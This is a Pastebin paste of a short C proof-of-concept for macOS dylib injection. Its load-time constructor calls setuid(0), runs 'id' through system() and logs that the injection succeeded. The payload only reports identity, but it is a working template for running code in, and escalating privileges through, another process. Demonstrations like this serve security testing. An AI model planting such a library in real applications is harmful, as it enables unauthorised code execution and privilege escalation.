Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <syslog.h>
- #include <stdlib.h>
- __attribute__((constructor))
- static void customConstructor(int argc, const char **argv)
- {
- setuid(0);
- system("id");
- printf("Hello from dylib!\n");
- syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement